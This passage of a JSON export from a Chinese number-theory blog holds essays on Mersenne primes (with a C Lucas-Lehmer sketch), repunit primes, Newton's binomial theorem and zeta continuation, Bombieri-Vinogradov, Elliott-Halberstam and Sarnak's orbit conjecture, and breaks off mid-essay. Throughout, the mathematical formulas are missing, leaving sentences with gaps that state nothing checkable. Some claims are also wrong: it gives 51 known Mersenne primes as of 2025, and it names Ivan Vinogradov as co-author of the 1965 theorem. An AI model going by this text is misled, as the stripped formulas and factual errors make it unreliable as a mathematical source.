世纪以来，随着渐近分析理论的发展，斯特林公式的余项估计、高维推广（如多元 Gamma 函数的渐近展开）成为研究热点，其思想也渗透到复分析、数论等领域。 从棣莫弗的初步探索到现代分析中的精细化研究，斯特林公式始终是 “近似” 与 “严格” 辩证统一的典范。它不仅是计算工具，更启发了鞍点法、欧拉 - 麦克劳林公式等一系列分析方法，成为连接离散与连续、有限与无穷的桥梁。在大数据与复杂系统研究日益重要的今天，斯特林公式所代表的渐近思维，仍将在科学前沿发挥不可替代的作用。"},{"title":"","date":"2026-02-11T03:07:00.000Z","updated":"2026-02-11T03:10:00.000Z","comments":true,"path":"notes/Zeta/128.html","permalink":"https://blog.mhuig.top/notes/Zeta/128","excerpt":"","text":"梅森素数 梅森素数：从数学历史到现代算法的探索 梅森素数以其简洁的形式 （其中 为素数）成为数论中最富魅力的研究对象之一。自欧几里得在《几何原本》中首次关联素数与完全数以来，这类特殊素数不仅推动了数论理论的发展，更成为检验人类计算能力的试金石。截至 2025 年，人类仅发现 51 个梅森素数，其寻找过程贯穿数学史的重大突破，从欧拉的手工验证到现代分布式计算项目 GIMPS 的全球协作，展现了数学与技术的深度融合。 历史演进：从欧几里得到 GIMPS梅森素数的研究起源可追溯至公元前 300 年，欧几里得在《几何原本》中证明：若 是素数，则 是完全数。这一发现将素数研究与完全数问题紧密结合，但真正系统的探索始于 17 世纪法国数学家马林・梅森。1644 年，梅森在《物理数学随感》中断言：在不大于 257 的素数中，仅 能使 为素数。尽管后续验证发现其断言包含错误（如 和 对应的 实为合数），但梅森的工作奠定了该领域的研究基础，这类数因此被命名为梅森数，素数者则称为梅森素数。 18 世纪，瑞士数学家欧拉以非凡毅力推进了梅森素数的研究。1772 年，他在双目失明的情况下，通过心算证明 是素数，这一成果保持 “最大已知素数” 纪录长达一个半世纪。19 世纪末，法国数学家卢卡斯发明了首个专门针对梅森数的素性检验法，1876 年验证了 是素数，其 39 位数字成为手工计算时代的巅峰。 20 世纪计算机的出现彻底改变了梅森素数的搜索格局。1952 年，美国数学家鲁滨逊等人使用 SWAC 计算机在数月内发现 5 个新梅森素数，包括 和 。1996 年启动的 “大型互联网梅森素数搜索”（GIMPS）项目，通过分布式计算让全球志愿者贡献算力，至今已发现 15 个梅森素数，最新成果为 2018 年发现的 ，其 24862048 位数字需用专门算法存储和验证。 定义与基本性质梅森数（Mersenne number）定义为 ，其中 是正整数。若 为素数，则称为梅森素数（Mersenne prime）。需注意以下基本性质： 首先，必要条件：若 是素数，则 必为素数。这是因为当 为合数时，设 （ ），则 ，显然为合数。但反之不成立，例如 时， 是合数。 其次，素性分布：梅森素数在正整数中分布极不规则。截至 2025 年发现的 51 个梅森素数中，指数 从 2 到 82589933 不等，其位数随 呈指数增长（如 的位数约为 ）。中国数学家周海中于 1992 年提出 “周氏猜想”，给出梅森素数分布的精确表达式：当 时， 有 个素数，该猜想对已知梅森素数均成立。 第三，与完全数的关系：欧几里得 - 欧拉定理表明，偶完全数与梅森素数一一对应：若 是梅森素数，则 是完全数；反之，每个偶完全数都具有此形式。目前尚未发现奇完全数，这使得梅森素数的研究与数论中这一未解难题紧密相关。 素性检验算法：卢卡斯 - 莱默检验法梅森素数的高效判定依赖于卢卡斯 - 莱默检验法（Lucas-Lehmer Test），这是一种针对 的确定性素性检验算法，由卢卡斯于 1878 年提出，莱默于 1930 年完善。其核心思想如下： 算法陈述对于奇素数 ，定义卢卡斯 - 莱默序列 ： 则 是素数当且仅当 。 数学证明步骤 1：序列的封闭形式设 ， ，可归纳证明 ： 基础情形： 。 归纳假设：设 ，则 由于 ，故 ，从而 。 步骤 2：素性判定的充要条件若 是素数，则 。反之，假设 ，需证 是素数。采用反证法： 设 为合数， 是其最小素因子，则 。考虑代数整数环 ，其乘法定义为 。 由 及 ，知 。两边同乘 得 ，平方后有 ，故 在 （ 的乘法群）中的阶为 。 的阶不超过 （因 有 个元素，去掉零元后群的阶最大为 ），因此 。但 ，故 ，从而 ，与 矛盾。因此 必为素数。 算法实现卢卡斯 - 莱默检验的核心是模 下的平方运算，需高效处理超大整数。以下是 C 语言实现框架： unsigned long long multi_pow(unsigned long long x, unsigned long long exponent, unsigned long long mod) { unsigned long long result = 0; while (exponent > 0) { if (exponent & 1) result = (result + x) % mod; x = (x << 1) % mod; // 等价于 x*2 mod mod exponent >>= 1; } return result;}bool lucas_lehmer_test(int p) { if (p == 2) return true; // M_2 = 3 是素数 unsigned long long mod = (1ULL << p) - 1; // 计算 M_p = 2^p - 1 unsigned long long s = 4; for (int i = 2; i < p; i++) { s = (multi_pow(s, s, mod) - 2 + mod) % mod; // s = (s^2 - 2) mod mod } return s == 0;} 该算法时间复杂度为 ，远优于通用素性检验算法（如 AKS 算法），因此成为 GIMPS 项目的核心工具。 应用与科学意义梅森素数的研究不仅具有理论价值，更推动了多学科的发展： 首先，密码学：大素数是 RSA 等公钥密码算法的基础，梅森素数的快速生成与检验为密码系统设计提供了安全保障。 其次，分布式计算：GIMPS 项目是分布式计算的典范，全球超 16 万人贡献算力，其技术架构为网格计算、云计算提供了实践参考。 第三，硬件测试：梅森素数的验证过程可用于检测计算机硬件的稳定性，如 Intel 曾通过 GIMPS 发现其处理器的浮点运算缺陷。 第四，数学突破：梅森素数的分布问题（如是否有无穷多个）仍是数论重大未解难题，周氏猜想等成果为素数分布研究开辟了新路径。 从欧几里得的几何原本到现代超级计算机的算力竞赛，梅森素数的探索史折射出人类对数学真理的执着追求。随着量子计算等技术的发展，未来梅森素数的发现或将迎来新的突破，但这一过程中所积累的数学思想与计算方法，早已超越了寻找最大素数本身的意义。梅森素数的故事，仍在继续书写。"},{"title":"","date":"2026-02-13T09:07:00.000Z","updated":"2026-02-13T09:10:00.000Z","comments":true,"path":"notes/Zeta/129.html","permalink":"https://blog.mhuig.top/notes/Zeta/129","excerpt":"","text":"全一素数 连续 1 组成的素数：从基础性质到未解之谜 连续 1 组成的数在数论中被称为循环单位数（Repunit），记作 ，其定义为 ，例如 、 等。这类数的素性问题自 20 世纪中叶起吸引了众多数学家的关注，至今仍存在两个核心问题：一是素数循环单位中 1 的个数（即 ）是否必为素数；二是素数循环单位是否有无穷多个。 历史背景与定义循环单位数的概念由 A.H. Beiler 于 1966 年正式命名为 “Repunit”（意为 repeated unit），但其研究可追溯至更早的数论探索。这类数的特殊性在于其简洁的构造形式：由 个连续 1 组成，数学表达式为： 例如： （注意：1 不是素数）， （素数）， （合数）， （合数）。 早期研究发现，循环单位数的素性与 的取值密切相关。例如，当 为合数时， 往往也是合数。这一现象引导数学家提出了第一个核心问题：若 为素数，则 是否必为素数？ 素数循环单位中 1 的个数的素性证明基础引理：若 ，则 设 ，其中 、 为大于 1 的整数。根据循环单位数的定义： 利用代数恒等式 ，令 ，则： 由于等式右侧第二项为整数，因此 。这表明，若 为合数（即存在 使得 ），则 必为合数。反之，若 为素数，则 必须是素数。 反例讨论：素数 对应的 是否一定为素数？上述结论仅给出了必要条件，而非充分条件。例如， （素数）时， （合数）； （素数）时， （合数）。因此， 为素数是 为素数的必要非充分条件。 已知的素数循环单位与搜寻方法已知素数循环单位的 值截至目前，数学界已确认的素数循环单位对应的 值为：2, 19, 23, 317, 1031。此外， 、 、 被推测为可能的素数循环单位，但尚未完全验证。例如， 被证明为 “可能素数”（Probable Prime），但其素性仍需更严格的测试。 搜寻算法与计算挑战由于 的位数随 线性增长（例如 有 1000 位），直接素性测试面临巨大计算压力。现代搜寻通常结合以下策略：筛选法，利用 的代数性质排除非素数 （如 为合数时直接排除）；概率素性测试，如 Miller-Rabin 测试，用于初步验证大位数 的素性；分布式计算，通过多节点协作处理超大数运算，例如利用 Project Euler 等平台的计算资源。 素数循环单位的无穷性问题全一素数猜想关于素数循环单位是否无穷多的问题，目前仍无定论，这一命题被称为全一素数猜想。尽管数值证据显示素数循环单位极为稀少（截至 仅发现 5 个严格素数），但尚无任何证明表明其数量有限。 相关理论与类比推测相关理论与类比推测包括：Zsigmondy 定理的启示，Bang-Zsigmondy 定理指出，对于 且 ， 存在 “本原素因子”（即不整除 对任何 ），除非 为特殊情形。对于 ，若存在本原素因子，则 可能为素数。但该定理仅保证存在性，无法直接推断无穷多素数；与梅森素数的类比，梅森素数 与循环单位素数具有相似的构造形式，且两者均需 为素数。尽管梅森素数的无穷性同样未被证明，但已发现 51 个实例，远多于循环单位素数。这种差异可能源于 10 进制下的代数结构更复杂；启发式论证，根据素数定理， 位随机数的素性概率约为 ，其中 。因此 的素性概率约为 。对 求和 发散，暗示可能存在无穷多素数循环单位，但这一非严格论证无法构成证明。 结论与展望连续 1 组成的素数（循环单位素数）研究揭示了数论中简洁构造与深刻难题的对立统一。已有的结论明确了：若 为素数，则 必为素数，但反之不成立。然而，素数循环单位是否有无穷多个，仍是一个开放问题，其解决可能需要数论、代数几何与计算数学的交叉突破。 当前研究的挑战包括：如何改进超大数素性测试算法、如何利用代数工具（如函数域上的 Zsigmondy 定理推广）构造新的理论框架，以及如何通过分布式计算发现更多候选素数。这一领域的进展不仅将推动数论发展，也将为密码学、算法设计等应用领域提供新的视角。"},{"title":"","date":"2025-09-15T08:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/13.html","permalink":"https://blog.mhuig.top/notes/Zeta/13","excerpt":"","text":"牛顿广义二项式定理 牛顿广义二项式定理 我们先来看一个无穷和： 利用暴力计算的手段可以计算出一些值 , , …… 发散 发散 ……… 我们通过代值观察发现只有当 的定义在 时， 是收敛的。 我们把这个无穷和改写成这样 现在括号中的那个级数恰好是 . 换句话说： 立即得出 隐藏在这个无穷和背后的是这个简单的 吗？ 通过简单的代值观察发现确实是这样。这个式子是成立的。 但他们并非一回事，因为他们有不同的定义域。 原本的 只有在 上才有值，而 只要 不为 就有函数值。 这件事的意义是：一个无穷级数可能仅在一个函数的部分定义域上定义了这个函数。这个函数的其余部分隐藏在某个地方，等待被某种技巧发现。 这引起了一个问题： Zeta 函数也是这样吗？ 我们将上式两边同时积分，得到 当 时 只有当你把式中各项按照这个顺序相加的时候它才收敛到 ，如果改变相加的顺序它会收敛到其他值或者不收敛。这被称为条件收敛。 如果改变相加的顺序收敛值不变。这被称为绝对收敛。 杨辉三角对于二项式展开，我们有经典的二项式定理。对于正整数 其中 ，就是杨辉三角里的数字。 牛顿的推广：从整数幂到任意指数杨辉三角和二项式定理解决的是： ，其中 是整数。 但是，牛顿提出了一个大胆的问题：如果指数不是整数呢？ 比如 或 ，还能不能展开？ 大约在 1664-1665 年 (1666 是牛顿奇迹年），牛顿发现，只要把组合数的公式 稍微改写，用实数 代替整数 ，公式（后来被证明可进一步推广到复数）也成立： 于是，广义二项式定理就来了： （当 时收敛）。例如： 平方根展开： 倒数展开： 这些无穷级数可以用来近似计算数值，非常实用. 牛顿的广义二项式展开就是最早的幂级数展开之一。它启发了后来泰勒公式：任何解析函数在某点附近都可以展开成无穷级数。从 出发，人们意识到：不仅幂函数，其他函数（指数、三角、对数）也能展开。这是微积分与数学分析的基石。 欧拉把二项式展开自然推广到复数域： 这成为了复分析中最早的幂级数表示之一，后来发展出解析函数理论和解析延拓。 Zeta 函数的解析延拓 From ZhiHu-TravorLZH Zeta 函数 的原先定义域仅仅在 ，然而利用 Dirichlet eta 函数 ，我们可以通过 将其定义域拓展至 剩下的工作就是将它的定义域拓展到除 之外的全平面了。方法一：Poisson 求和公式 + 搞积 + Gamma定义 则可以通过各种性质，得：利用高斯函数的 Fourier 变换 以及 Poisson 求和公式可得：通过对 式左侧运用 和搞积技巧，可得：可以发现 式右侧把 变成 时结果依然相同，意味着通过对 进行移项、运用余元公式和勒让德倍元公式，可得 Zeta 函数的函数方程：至此我们就将 Zeta 函数延拓到了 。现在介绍第二种方法方法二：围道积分 + 放缩 + 乱炖考虑积分 ，其中围道如下：计算每一段路径，可得：现在考虑另一个围道积分 ，其中 如下图：通过对 运用留数定理，得到：可以通过放缩等乱炖技巧证明 。因此结合 ，有：于是我们又一次发现了 Zeta 函数的函数方程。综上所述，黎曼 zeta 函数的完整定义为："},{"title":"","date":"2026-02-18T07:07:00.000Z","updated":"2026-02-18T07:10:00.000Z","comments":true,"path":"notes/Zeta/131.html","permalink":"https://blog.mhuig.top/notes/Zeta/131","excerpt":"","text":"Bombieri-Vinogradov 定理 Bombieri-Vinogradov 定理 背景与历史渊源素数在算术级数中的分布问题是解析数论的核心课题之一。1837 年，狄利克雷（Dirichlet）证明了算术级数素数定理：对于互素的正整数 和 ，算术级数 中存在无穷多个素数。然而，该定理仅断言存在性，并未给出素数分布的误差估计。19 世纪末，素数定理的证明为素数分布的渐近性质提供了基础，但对于固定模 的算术级数，素数计数函数 与期望 的偏差估计仍依赖于广义黎曼假设（GRH）。GRH 断言 Dirichlet L 函数的非平凡零点实部均为 ，若成立则可推出 ，其中 为对数积分函数。 20 世纪中叶，数学家开始探索在不依赖 GRH 的情况下建立平均意义下的误差估计。1965 年，意大利数学家恩里科・邦别里（Enrico Bombieri）与苏联数学家伊万・维诺格拉多夫（Ivan Vinogradov）独立证明了 Bombieri-Vinogradov 定理（以下简称 BV 定理），该定理表明在平均意义下，素数在算术级数中的分布误差可达到接近 GRH 的水平，因此被视为 “算术级数素数分布的平均黎曼假设”。这一成果直接推动了筛法理论的发展，为后续孪生素数猜想、哥德巴赫猜想等问题的突破奠定了基础。邦别里也因包括 BV 定理在内的工作获得了 1974 年菲尔兹奖。 定义与数学表述素数分布误差项设 表示不超过 且满足 的素数个数，其中 。定义误差项： 当 时， ；当 时， （若 且 ）或 （若 ）。 Bombieri-Vinogradov 定理的标准形式对任意固定的 ，存在常数 ，使得 其中 ， 表示不等式对任意 成立，常数依赖于 。 该定理的核心意义在于：尽管对单个 无法证明 的小阶估计，但对 求和后，总误差被控制在 ，这意味着在平均意义下素数分布的均匀性接近 GRH 的预测。 推导过程1. 预备知识：Dirichlet 特征与 L 函数Dirichlet 特征是刻画算术级数的关键工具。对模 的 Dirichlet 特征 ，其正交性给出： 其中 为加权素数计数函数， 是 Möbius 函数。误差项可表示为： 其中 是主特征， 若 为主特征，否则为 。 2. 大筛法不等式BV 定理的证明依赖于大筛法（Large Sieve），这是估计特征和均值的强大工具。设 是复数列， ，则大筛法不等式为： 其中 表示对模 的本原特征求和。取 ，可估计 的均值。 3. 零点密度定理为控制 函数零点对 的贡献，需用到零点密度估计。对 Dirichlet L 函数 ，其非平凡零点 满足 。零点密度定理断言：对 ，模 的 L 函数在区域 内的零点个数 。这表明零点集中在临界线 附近，为误差估计提供了基础。 4. 平均误差估计的主项推导对固定 ，考虑和式 。利用特征正交性展开后，主项为 。通过大筛法和零点密度定理，可将该和式化为： 其中 。进一步利用 Perron 公式和留数定理，将 表示为 L 函数零点的积分，结合零点密度估计可证得总误差被 控制。 5. 优化与常数选取定理中的 是关键参数。若取 ，误差项可能因个别大模 的贡献而发散；引入 因子后，通过选取足够大的 ，可确保和式收敛。这一权衡体现了平均意义下的误差控制思想，也是 BV 定理区别于单个模估计的核心创新。 应用与推广1. 孪生素数猜想与张益唐定理BV 定理在素数间距问题中发挥了关键作用。2013 年，张益唐证明存在无穷多对素数 使得 ，其核心步骤是将 BV 定理推广到 “光滑模” 情形，即仅考虑素因子较小的模，从而将素数分布水平提升至 （ ）。后续 James Maynard 进一步简化证明，利用 BV 定理的经典形式将间距改进至 600，最终通过 Polymath 项目降至 246。 2. 哥德巴赫猜想的 “1 + 3” 证明1966 年，邦别里与达文波特（Davenport）利用 BV 定理证明了 “1 + 3”：每个充分大的偶数可表为一个素数与一个至多 3 个素数乘积之和。其思路是通过筛法计数素数对 使得 且 的素因子个数有界，而 BV 定理提供了素数分布的平均误差控制，避免了对 GRH 的依赖。 3. 推广形式与高维拓展BV 定理已被推广到多种情形： 乘法函数情形：Granville 与 Shao 证明对 1 - 有界乘法函数，BV 型结果可突破 障碍，适用于更广泛的数论对象； 高秩群上的类比：Jiang 等将 BV 定理推广到代数数域上的高秩群，研究自守形式的 Fourier 系数分布； 特殊形式素数：Dimitrov 证明了形如 的素数的 BV 型定理，结合筛法估计其在算术级数中的分布。 总结与展望Bombieri-Vinogradov 定理通过平均化技巧，在不依赖 GRH 的条件下实现了素数分布误差的有效控制，成为解析数论的 “万能工具”。其核心思想，将难以单独估计的误差在平均意义下控制，启发了后续筛法理论（如 GPY 筛法）和素数间距问题的突破。尽管当前最佳素数间距已降至 246，但彻底解决孪生素数猜想仍需超越 BV 定理的新方法，例如证明埃利奥特 - 哈尔伯斯唐猜想（EH 猜想），该猜想断言素数分布水平可提升至 ，从而将间距进一步缩小至 12 或更小。 从邦别里与维诺格拉多夫的开创性工作到张益唐、Maynard 的突破性进展，BV 定理始终是数论研究的 “指路明灯”。它不仅展示了平均化方法的威力，更揭示了素数分布中确定性与随机性的深刻联系，尽管单个素数的分布看似随机，但在平均意义下却呈现出惊人的规律性。这一思想或许正是解析数论最深刻的浪漫所在。"},{"title":"","date":"2026-02-18T08:07:00.000Z","updated":"2026-02-18T08:10:00.000Z","comments":true,"path":"notes/Zeta/132.html","permalink":"https://blog.mhuig.top/notes/Zeta/132","excerpt":"","text":"Elliott-Halberstam 猜想 Elliott-Halberstam 猜想 埃利奥特 - 哈尔伯斯唐猜想（Elliott-Halberstam Conjecture, EH 猜想）是解析数论中关于素数在算术级数中分布均匀性的核心猜想。它由彼得・埃利奥特（Peter Elliott）和海尼・哈尔伯斯唐（Heini Halberstam）于 20 世纪 60 年代末提出，旨在刻画素数在模 的剩余类中分布的平均误差控制能力。该猜想的强度远超已证明的邦别里 - 维诺格拉多夫定理（Bombieri-Vinogradov theorem），被陶哲轩称为解析数论领域的 “梦想” 目标。其核心断言是：对任意 和 ，存在常数 ，使得对所有 ，有 其中 表示不超过 且满足 的素数个数， 是对数积分函数， 是欧拉函数。这一猜想将素数分布的 “可控制模数范围” 从邦别里 - 维诺格拉多夫定理的 提升至接近 的水平，从而为解决孪生素数猜想、哥德巴赫猜想等经典问题提供关键工具。 历史背景与研究动机素数在算术级数中的分布问题可追溯至 Dirichlet 1837 年的工作，他证明了对互素的 ，算术级数 中有无穷多个素数。19 世纪末，Hadamard 和 de la Vallée-Poussin 利用黎曼 函数证明了素数定理，而素数在算术级数中的精细化分布则依赖于 Dirichlet L- 函数的非零区域估计。1965 年，邦别里（Enrico Bombieri）和维诺格拉多夫（Ivan Vinogradov）独立证明了以下结果（邦别里 - 维诺格拉多夫定理）：对任意 ，存在 ，使得 该定理将模数范围控制在 级别，被视为 “平均意义下的广义黎曼猜想（GRH）”，在陈氏定理（1 + 2）等结果中起到了替代 GRH 的作用。然而，数值证据和直觉表明素数的分布均匀性应远强于 。埃利奥特和哈尔伯斯唐在 1968 年左右提出猜想：若将模数范围放宽至 （对任意小 ），类似的平均误差估计仍成立。这一猜想被视为解析数论的 “圣杯” 之一，其强度足以推动数论多个分支的突破。 严格定义与数学表述埃利奥特 - 哈尔伯斯唐猜想的严格表述需基于对素数计数函数的误差项分析。记 ，其中 是 von Mangoldt 函数（当 时为 ，否则为 0）。通过部分求和可知， 与 的渐近性质等价。EH 猜想的等价形式可表述为：对任意 和 ，存在 ，使得 这一表述更便于解析数论中的技术处理，因为 可通过 Dirichlet 特征展开与 L- 函数零点关联。猜想的核心在于将邦别里 - 维诺格拉多夫定理中的模数上限 提升至 ，这一改进看似微小，却对数论问题产生深远影响。例如，在假设 EH 猜想成立的条件下，Maynard 证明了素数的最小间距可缩小至 12，而广义 EH 猜想（GEH）甚至可能将间距降至 6。 与其他重要猜想的联系EH 猜想与数论中多个核心问题存在深刻联系，其地位类似于 “桥梁”，连接了素数分布、筛法理论与 L- 函数性质。 与孪生素数猜想的关系孪生素数猜想断言存在无穷多对素数 。2013 年，张益唐通过改进 GPY 筛法，证明了存在无穷多对间距小于 7000 万的素数对，其关键创新在于将素数分布水平提升至 （即模数范围 ）。若假设 EH 猜想成立（即 可任意接近 1），Maynard 证明了素数间距的上界可降至 12。这一逻辑链可表述为： 猜想素数分布水平筛法误差项可控有界素数间距 当前最佳无条件结果为间距 246，而 EH 猜想的证明将直接推动这一数值大幅下降。 与哥德巴赫猜想的联系哥德巴赫猜想（每个大于 2 的偶数可表为两个素数之和）的研究同样依赖素数分布的均匀性。 Jing-Jing Huang 和 Huixi Li 的研究表明，若假设 EH 猜想的某种推广形式（如对 的控制），可显著改进哥德巴赫问题的结果。类似地，陈氏定理（1 + 2）的简化证明也依赖于加权形式的 Bombieri 均值定理，而 EH 猜想将为这类问题提供更强的误差控制工具。 与广义黎曼猜想（GRH）的关系GRH 断言 Dirichlet L- 函数的非平凡零点均位于临界线 上，这可推出对固定 ， 。EH 猜想虽不直接蕴含 GRH，但它在平均意义上达到了类似的效果：尽管单个算术级数的误差可能较大，但对模数 取平均后，总误差可被有效控制。因此，EH 猜想常被称为 “平均 GRH”。 主要推导思路与技术障碍从邦别里 - 维诺格拉多夫定理到 EH 猜想邦别里 - 维诺格拉多夫定理的证明依赖于对 L- 函数零点密度的估计：通过控制模 的 Dirichlet L- 函数在区域 内的零点个数，结合复分析中的围道积分技术，得到 的渐近公式。其核心步骤是将误差项表示为 其中 是 L- 函数的非平凡零点。对模数 求和时，邦别里 - 维诺格拉多夫定理通过零点密度估计证明了 “短区间零点”（即 接近 1 的零点）的贡献可忽略，从而得到 时的平均误差控制。 EH 猜想则要求将这一论证扩展到 。此时，“长区间零点”（即 接近 的情形）的贡献成为主要障碍。具体而言，当 时，算术级数 可能仅包含一个数（如 ），此时素数分布的均匀性问题退化为单个素数的判定，这本质上需要对 L- 函数零点的极端值进行控制，这一问题至今尚无有效解决方法。 筛法中的应用：GPY 方法与 EH 猜想Goldston-Pintz-Yildirim（GPY）筛法是研究素数间距的核心工具，其通过构造 “可容许元组”（admissible tuple）来寻找素数聚集现象。该方法的关键步骤是估计积分 其中 是给定的整数间距。通过傅里叶分析，这一积分可分解为算术级数中素数密度的乘积项与误差项之和。EH 猜想的作用是控制误差项中的 “对角项”（即大模数 的贡献），从而证明积分 为正，即存在无穷多 使得 中至少有两个素数。 张益唐的突破在于证明了对 ，误差项仍可控制，从而得到有界素数间距。若假设 EH 猜想成立（ ），则可进一步优化元组大小 ，使间距上界降至 12。这一过程中，EH 猜想提供的 “平均分布” 保证使得筛法能够处理更大范围的模数，从而捕捉到素数的局部聚集特性。 研究进展与未解决问题部分结果与数值证据尽管 EH 猜想尚未被完全证明，数学家已取得若干部分结果： 邦别里 - 维诺格拉多夫定理证明了 的情形，这是目前最强的无条件结果。 张益唐的突破通过引入 “光滑模数”（smooth modulus）概念，证明了 的情形，为孪生素数问题提供了关键工具。 对 EH 猜想的对数平均形式（即对 取对数权重平均），已在某些特殊情形（如奇阶相关）下得到证明，这为 Chowla 猜想等问题提供了新视角。 数值模拟显示，素数在模数 范围内的分布确实满足 EH 猜想的误差估计，这进一步支持了猜想的合理性。 技术障碍与未来方向EH 猜想的核心困难在于控制大模数 时的误差项，这涉及到 L- 函数零点的 “极端相关性” 问题。目前已知的工具（如零点密度估计、大筛法）在处理这类问题时存在本质局限： 零点密度估计只能给出零点个数的平均界，无法排除 “异常零点”（如 Landau-Siegel 零点）的存在，而这类零点会严重破坏素数分布的均匀性。 经典筛法无法区分素数与 “殆素数”（如两个素数的乘积），这一障碍在处理孪生素数等问题时尤为突出，而 EH 猜想的证明可能需要发展全新的筛法技术。 未来的研究方向可能包括： 将猜想扩展到多个算术函数的卷积情形，以适应 GPY 筛法中高维素数分布的需求。 Volfson 等人尝试通过随机模型证明 EH 猜想 “依概率成立”，为问题提供了新的理论框架。 EH 猜想可能与自守形式的 L- 函数性质相关，其证明或许需要代数数论与解析数论的深度融合。 结语埃利奥特 - 哈尔伯斯唐猜想以其深刻的数学内涵和广泛的应用价值，成为解析数论的核心问题之一。它不仅是素数分布理论的自然延伸，更是攻克孪生素数猜想、哥德巴赫猜想等经典难题的关键钥匙。尽管目前的研究仍停留在部分结果阶段，但张益唐等人的突破已展示了 EH 猜想的强大潜力。正如陶哲轩所言，证明 EH 猜想是数论学家的 “梦想”，这一梦想的实现，将不仅改写素数研究的历史，更可能为整个数学领域带来革命性的进展。"},{"title":"","date":"2026-03-15T02:07:00.000Z","updated":"2026-03-15T02:10:00.000Z","comments":true,"path":"notes/Zeta/133.html","permalink":"https://blog.mhuig.top/notes/Zeta/133","excerpt":"","text":"Sarnak 纲领性猜想：轨道上的素数分布理论 Sarnak 纲领性猜想：轨道上的素数分布理论 引言：从经典素数问题到群作用轨道框架素数分布的研究始终是数论的核心议题。从欧拉证明素数无穷多，到高斯提出素数定理猜想，再到黎曼通过 函数建立素数分布与复分析的深刻联系，每一步突破都推动着数学理论的整体发展 。Sarnak 纲领性猜想（又称轨道上的素数猜想）将这一研究推向更高维度，其核心思想是：当群 通过线性作用生成整数向量 的轨道 时，若多项式映射 在轨道 上无局部障碍（即对任意素数 ，存在 使 ），则 中包含无穷多个素数或殆素数 。这一框架将历史上的哥德巴赫猜想、孪生素数猜想等统一为群作用下的特例，其中孪生素数猜想可视为 （加法群）、 、 的二维交换群轨道问题。 历史背景与思想演进经典素数分布问题的局限性19 世纪末，素数定理的证明标志着解析数论的成熟，但其仅刻画了素数在整数集的整体分布。20 世纪，数学家开始关注素数在特殊子集（如算术级数、二次型取值）中的分布： Dirichlet 定理（1837）证明了算术级数 中有无穷多素数，这是群作用轨道的线性特例（加法群 作用于 ）； 华林问题（1770）探讨将整数表为素数幂和，而哥德巴赫猜想（1742）要求将偶数表为两素数和，本质是多项式 在轨道 上的素数解问题； Selberg 筛法（1947）与陈景润定理（1966）为殆素数研究提供工具，证明了偶数可表为 “1 + 2”（1 个素数 + 2 个素数乘积），这启发了 Sarnak 猜想中 “饱和数”（最小素因子个数）的概念。 Sarnak 猜想的诞生与纲领性意义21 世纪初，Sarnak 与合作者将上述问题置于群作用动力学框架下，提出纲领性猜想： 核心断言：对无局部障碍的多项式映射 与群轨道 ，存在常数 （饱和数），使得 中有无穷多个素因子数 的殆素数 。 该猜想的革命性在于： 第一，统一框架：将线性（如算术级数）、非线性（如二次型）、交换群（如 ）、非交换群（如 子群）的素数分布问题纳入同一理论； 第二，动力学视角：通过轨道的遍历性、熵等概念刻画素数分布的 “均匀性”，与 Möbius 不相交性猜想密切相关，后者断言零熵系统与 Möbius 函数正交，为轨道素数分布提供动力系统解释； 第三，交叉工具：融合筛法、自守表示、谱理论等，如刘建亚与 Sarnak 利用谱理论与筛法结合，将非迷向三元二次型的饱和数控制在 26（假设 Selberg 猜想则为 22）。 核心定义与数学框架群作用轨道的严格定义设 是 的离散子群， 是非零整数向量，轨道 定义为： 轨道的几何性质由群 的结构决定： 密集轨道：如 （加法群）生成的全空间轨道； 稀疏轨道：如 的同余子群作用生成的轨道，其疏密程度由临界指数（critical exponent）刻画 。 局部障碍与饱和数局部障碍是指存在素数 ，使得对所有 ， 。例如，对 与 （偶整数加法群），取 ，则 时 ，存在 使 （此处无局部障碍）；但对 ， 时 ，无局部障碍。 饱和数 定义为最小正整数 ，使得 中有无穷多个 - 殆素数（素因子数 ）。Sarnak 猜想断言：若无局部障碍，则 有限，且等于多项式 的不可约因子个数（在某些条件下）。 关键推导与实例分析Möbius 函数与轨道素数分布的关联Möbius 函数 的定义为： 含平方因子（不同素数乘积） 其与素数分布的核心联系是素数定理等价于 。对轨道 ，考虑计数函数： 为素数 Sarnak 猜想的解析形式要求： 其中 为轨道密度常数。为证明此式，需估计 Möbius 和： 若轨道 对应的动力系统具有零熵，则由 Sarnak 的 Möbius 不相交性猜想可知上述和为 ，从而推出素数分布的渐近公式 。 二次型方程的素数解：刘建亚 - Sarnak 定理考虑非迷向三元二次型 ，其对应的群轨道 。刘建亚与 Sarnak 证明：若无局部障碍，则存在无穷多 使 为 26 - 殆素数 。 证明关键步骤： 第一步，谱分解：将二次型表示为自守形式的 Fourier 系数，利用 Selberg 迹公式估计轨道密度； 第二步，筛法应用：构造加权筛函数 （von Mangoldt 函数），通过 Bombieri-Vinogradov 定理控制误差项： 第三步，饱和数估计：结合筛法不等式与谱理论，得到素因子数上界 。 Apollonian 圆填充的素数曲率：Bourgain-Sarnak-Ziegler 结果Apollonian 圆填充的曲率集 构成 子群作用的轨道。Sarnak 证明 中有无穷多素数，Bourgain 等进一步得到渐近公式： 素数 其证明利用轨道的遍历性与筛法的适应性修正，将圆填充的几何性质转化为群作用的算术不变量 。 应用方法与技术路线群轨道的算术密度计算对给定轨道 ，需计算其在 中的密度： 当 为格点群（如 ）时， ；当 为稀疏群（如 的同余子群）时， ，需通过临界指数 刻画轨道疏密：若 ，则轨道足够 “稠密” 以保证素数分布 。 筛法与谱理论的融合基本筛法框架：对多项式 ，构造筛函数： 通过大筛法不等式控制余项： 其中 ， 为模 解的个数。结合谱理论中的 Laplace 算子特征值估计，可优化误差项 ，从而降低饱和数 。 动力系统方法：熵与 Möbius 正交性Sarnak 猜想的深层动力系统解释是：零熵系统生成的序列与 Möbius 函数正交 。对轨道 ，定义移位映射 ， （ 为生成元），则 的素数分布等价于 的素性。若系统 零熵，则： 这为素数分布提供了遍历理论依据 。 挑战与未来方向Sarnak 纲领虽取得显著进展，但仍面临核心挑战： 第一，高次多项式轨道：对三次及以上多项式，缺乏有效的筛法与谱理论工具，如 的素数解问题； 第二，稀疏群轨道：当群 的临界指数 时，轨道过于稀疏，现有方法无法证明素数存在性； 第三，BGS 猜想的完全证明：非交换群作用下多项式积的饱和数是否等于不可约因子数，仍是未解决的核心问题 。 未来研究需融合朗兰兹纲领的自守表示理论、算术几何中的高度函数估计，以及机器学习对轨道结构的数值模拟，可能为这一领域带来突破。非线性素数问题如同果园中高大的果树，需借助多学科梯子才能采摘果实。 结语Sarnak 